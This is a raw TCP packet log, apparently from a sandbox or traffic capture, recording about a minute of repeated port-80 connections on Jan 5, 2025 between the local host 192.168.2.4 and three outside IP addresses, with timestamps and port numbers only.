Jan 5, 2025 10:49:24.715645075 CET	58907	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:24.720482111 CET	80	58907	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:24.720566988 CET	58907	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:24.720659018 CET	58907	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:24.725389004 CET	80	58907	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:25.184464931 CET	80	58907	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:25.184658051 CET	80	58907	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:25.184680939 CET	80	58907	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:25.184726954 CET	58907	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:25.185122013 CET	58907	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:25.303801060 CET	58913	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:25.308624983 CET	80	58913	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:25.308716059 CET	58913	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:25.308794022 CET	58913	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:25.314069033 CET	80	58913	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:25.314121962 CET	58913	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:25.557353973 CET	58914	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:25.562241077 CET	80	58914	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:25.562305927 CET	58914	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:25.569224119 CET	58914	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:25.573997974 CET	80	58914	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:26.036276102 CET	80	58914	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:26.036300898 CET	80	58914	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:26.036365032 CET	80	58914	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:26.036478996 CET	58914	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:26.036557913 CET	58914	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:26.038006067 CET	58914	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:28.841551065 CET	58938	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:28.847347021 CET	80	58938	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:28.847405910 CET	58938	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:28.847523928 CET	58938	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:28.852368116 CET	80	58938	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:28.852420092 CET	58938	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:29.021106958 CET	58941	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.025897026 CET	80	58941	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:29.026072979 CET	58941	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.026154041 CET	58941	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.031202078 CET	80	58941	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:29.517359972 CET	80	58941	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:29.517381907 CET	80	58941	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:29.517390966 CET	80	58941	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:29.517462969 CET	58941	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.517829895 CET	58941	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.653594017 CET	58942	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:29.658442020 CET	80	58942	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:29.658514023 CET	58942	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:29.658638954 CET	58942	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:29.663492918 CET	80	58942	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:29.663836956 CET	58942	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:29.825350046 CET	58946	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.830162048 CET	80	58946	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:29.830212116 CET	58946	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.830293894 CET	58946	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:29.835052967 CET	80	58946	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:30.283948898 CET	80	58946	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:30.283996105 CET	80	58946	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:30.284035921 CET	80	58946	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:30.284080982 CET	58946	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:30.284588099 CET	58946	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:32.105773926 CET	58963	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:32.110577106 CET	80	58963	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:32.110630035 CET	58963	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:32.110750914 CET	58963	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:32.115714073 CET	80	58963	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:32.115762949 CET	58963	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:32.161483049 CET	58964	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:32.166332006 CET	80	58964	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:32.166416883 CET	58964	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:32.166506052 CET	58964	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:32.171272039 CET	80	58964	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:32.639581919 CET	80	58964	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:32.639600039 CET	80	58964	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:32.639610052 CET	80	58964	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:32.639657021 CET	58964	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:32.640156031 CET	58964	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:32.765768051 CET	58968	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:32.770565987 CET	80	58968	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:32.772788048 CET	58968	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:32.772871017 CET	58968	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:32.777739048 CET	80	58968	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:32.778776884 CET	58968	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:33.077370882 CET	58972	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:33.082236052 CET	80	58972	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:33.082797050 CET	58972	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:33.082859993 CET	58972	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:33.087672949 CET	80	58972	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:33.555757046 CET	80	58972	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:33.555769920 CET	80	58972	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:33.555780888 CET	80	58972	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:33.555840969 CET	58972	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:33.556147099 CET	58972	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:34.977330923 CET	58984	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:34.982172012 CET	80	58984	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:34.982240915 CET	58984	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:34.982377052 CET	58984	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:34.987205029 CET	80	58984	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:34.987251043 CET	58984	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:35.246392012 CET	58988	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:35.251194954 CET	80	58988	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:35.251307964 CET	58988	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:35.251374960 CET	58988	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:35.256063938 CET	80	58988	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:35.715195894 CET	80	58988	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:35.715246916 CET	80	58988	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:35.715348005 CET	58988	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:35.715354919 CET	80	58988	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:35.715405941 CET	58988	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:35.715626001 CET	58988	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:35.829166889 CET	58992	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:35.833967924 CET	80	58992	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:35.834049940 CET	58992	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:35.834311962 CET	58992	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:35.839071989 CET	80	58992	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:35.839690924 CET	58992	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:36.111274004 CET	58996	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:36.116147995 CET	80	58996	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:36.116230011 CET	58996	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:36.119442940 CET	58996	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:36.125586987 CET	80	58996	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:36.569844007 CET	80	58996	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:36.569891930 CET	80	58996	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:36.569900990 CET	80	58996	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:36.569947004 CET	58996	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:36.570317984 CET	58996	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:37.386152983 CET	58997	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:37.391037941 CET	80	58997	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:37.391115904 CET	58997	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:37.391238928 CET	58997	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:37.396064997 CET	80	58997	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:37.396112919 CET	58997	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:37.562875032 CET	58998	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:37.567773104 CET	80	58998	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:37.567847967 CET	58998	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:37.569019079 CET	58998	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:37.573832035 CET	80	58998	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.022130966 CET	80	58998	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.022157907 CET	80	58998	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.022206068 CET	80	58998	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.022229910 CET	58998	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.022269011 CET	58998	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.022631884 CET	58998	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.153316021 CET	58999	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:38.158174992 CET	80	58999	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:38.158251047 CET	58999	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:38.158472061 CET	58999	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:38.163356066 CET	80	58999	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:38.163402081 CET	58999	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:38.191246033 CET	59000	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.196096897 CET	80	59000	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.196202993 CET	59000	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.196321011 CET	59000	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.201075077 CET	80	59000	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.661801100 CET	80	59000	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.661828041 CET	80	59000	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.661839962 CET	80	59000	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:38.661873102 CET	59000	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.661900043 CET	59000	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:38.662269115 CET	59000	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:39.271553040 CET	59001	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:39.276336908 CET	80	59001	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:39.276501894 CET	59001	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:39.276573896 CET	59001	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:39.281457901 CET	80	59001	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:39.281502962 CET	59001	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:39.328500986 CET	59002	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:39.333373070 CET	80	59002	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:39.333447933 CET	59002	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:39.333580017 CET	59002	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:39.338577986 CET	80	59002	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:39.797540903 CET	80	59002	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:39.797609091 CET	80	59002	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:39.797619104 CET	80	59002	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:39.797688007 CET	59002	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:39.798027039 CET	59002	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:42.207413912 CET	59003	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:42.212331057 CET	80	59003	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:42.215311050 CET	59003	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:42.225183010 CET	59003	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:42.230046988 CET	80	59003	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:42.230113029 CET	59003	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:42.401612997 CET	59004	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:42.408489943 CET	80	59004	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:42.408591986 CET	59004	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:42.408659935 CET	59004	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:42.413733959 CET	80	59004	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:42.881340027 CET	80	59004	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:42.881359100 CET	80	59004	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:42.881392956 CET	80	59004	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:42.881437063 CET	59004	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:42.881480932 CET	59004	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:42.881975889 CET	59004	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:44.157212973 CET	59005	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:44.162709951 CET	80	59005	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:44.162801981 CET	59005	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:44.162978888 CET	59005	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:44.167826891 CET	80	59005	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:44.167887926 CET	59005	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:44.219024897 CET	59006	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:44.223897934 CET	80	59006	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:44.223975897 CET	59006	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:44.224067926 CET	59006	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:44.228862047 CET	80	59006	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:44.707710028 CET	80	59006	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:44.707745075 CET	80	59006	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:44.707757950 CET	80	59006	199.59.243.228	192.168.2.4
Jan 5, 2025 10:49:44.707989931 CET	59006	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:44.708470106 CET	59006	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:49:48.256076097 CET	59007	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:48.260886908 CET	80	59007	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:48.260983944 CET	59007	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:48.261111975 CET	59007	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:48.266050100 CET	80	59007	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:48.266092062 CET	59007	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:49.421165943 CET	59008	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:49.426045895 CET	80	59008	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:49.426105022 CET	59008	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:49.426198959 CET	59008	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:49.431133032 CET	80	59008	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:49.431178093 CET	59008	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:52.925983906 CET	59009	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:52.930923939 CET	80	59009	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:52.931098938 CET	59009	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:52.931181908 CET	59009	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:52.936275005 CET	80	59009	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:52.936331034 CET	59009	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:53.159837961 CET	59010	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:53.164778948 CET	80	59010	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:53.164839983 CET	59010	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:53.164958954 CET	59010	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:53.169955015 CET	80	59010	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:53.170002937 CET	59010	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:57.088484049 CET	59011	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:57.093324900 CET	80	59011	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:57.094861031 CET	59011	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:57.095002890 CET	59011	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:57.099819899 CET	80	59011	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:57.099877119 CET	59011	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:59.372347116 CET	59012	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:59.377238035 CET	80	59012	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:59.377296925 CET	59012	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:59.377397060 CET	59012	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:59.382297993 CET	80	59012	88.198.29.97	192.168.2.4
Jan 5, 2025 10:49:59.382342100 CET	59012	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:49:59.620337963 CET	59013	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:59.625194073 CET	80	59013	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:59.625277042 CET	59013	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:59.625348091 CET	59013	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:49:59.630384922 CET	80	59013	64.70.19.203	192.168.2.4
Jan 5, 2025 10:49:59.630465031 CET	59013	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:02.965265036 CET	59014	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:02.970038891 CET	80	59014	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:02.970112085 CET	59014	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:02.970201969 CET	59014	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:02.975119114 CET	80	59014	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:02.975193977 CET	59014	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:06.188852072 CET	59015	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:06.193864107 CET	80	59015	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:06.194008112 CET	59015	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:06.194264889 CET	59015	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:06.199248075 CET	80	59015	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:06.199331045 CET	59015	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:07.964839935 CET	59016	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:07.969652891 CET	80	59016	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:07.969733953 CET	59016	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:07.969872952 CET	59016	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:07.974735975 CET	80	59016	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:07.974931955 CET	59016	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:08.288749933 CET	59017	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:08.298799992 CET	80	59017	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:08.299288988 CET	59017	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:08.303389072 CET	59017	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:08.308357000 CET	80	59017	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:08.308537960 CET	59017	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.316361904 CET	59018	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.321228981 CET	80	59018	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:09.321305037 CET	59018	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.327387094 CET	59018	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.332226038 CET	80	59018	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:09.333756924 CET	59018	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.507337093 CET	59019	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.512258053 CET	80	59019	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:09.515047073 CET	59019	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.522208929 CET	59019	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:09.527077913 CET	80	59019	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:09.530997992 CET	59019	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:10.216618061 CET	59020	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:10.221467972 CET	80	59020	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:10.221539021 CET	59020	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:10.225548029 CET	59020	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:10.230400085 CET	80	59020	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:10.230741024 CET	59020	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:12.301309109 CET	59021	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:12.306185961 CET	80	59021	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:12.306266069 CET	59021	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:12.319005966 CET	59021	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:12.323834896 CET	80	59021	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:12.323901892 CET	59021	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.089381933 CET	59022	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.094263077 CET	80	59022	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:19.096882105 CET	59022	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.100296021 CET	59022	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.105334044 CET	80	59022	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:19.105392933 CET	59022	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.332091093 CET	59023	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.336935997 CET	80	59023	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:19.337044001 CET	59023	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.337086916 CET	59023	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:19.342048883 CET	80	59023	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:19.342099905 CET	59023	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.220985889 CET	59024	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.225819111 CET	80	59024	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:20.225914001 CET	59024	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.226028919 CET	59024	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.231009007 CET	80	59024	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:20.231055021 CET	59024	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.543483019 CET	59025	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:20.548288107 CET	80	59025	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:20.551112890 CET	59025	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:20.553507090 CET	59025	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:20.558311939 CET	80	59025	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:20.558381081 CET	59025	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:20.776627064 CET	59026	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.781454086 CET	80	59026	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:20.781536102 CET	59026	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.781605005 CET	59026	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:20.786577940 CET	80	59026	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:20.786781073 CET	59026	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:21.372952938 CET	59027	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:21.377846003 CET	80	59027	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:21.377919912 CET	59027	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:21.378177881 CET	59027	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:21.382986069 CET	80	59027	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:21.383053064 CET	59027	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:22.736598015 CET	59028	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:22.741529942 CET	80	59028	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:22.743746996 CET	59028	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:22.743865013 CET	59028	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:22.748749971 CET	80	59028	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:22.748791933 CET	59028	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:24.853514910 CET	59029	80	192.168.2.4	64.70.19.203
